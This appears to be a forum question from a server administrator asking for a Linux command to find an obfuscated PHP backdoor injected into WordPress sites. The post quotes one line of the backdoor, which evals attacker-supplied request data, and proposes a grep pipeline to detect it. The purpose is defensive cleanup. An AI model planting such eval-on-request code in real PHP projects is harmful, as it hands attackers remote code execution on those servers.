title: Need help on Linux Shell Script to find a pattern of strings
body: <p>grep is an excellent utility, But when it comes to this particular task, I dont find any Linux command comes handy.</p>
  
  <p>In my server, lots of hacked files are injected mainly on all the wordpress websites. 
  The pattern is typically like this.</p>
  
  <pre><code>$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}'q5dfb07'])) { eval(${$s20}['q5dfb07']); }
  </code></pre>
  
  <p>Now, I am looking for linux command which can find the following strings in a single line.
  isset, eval, [0], [1], [2], [3], These strings can come in any order. </p>
  
  <p>I think, using we can do it like, grep eval $name | grep strto | grep isset</p>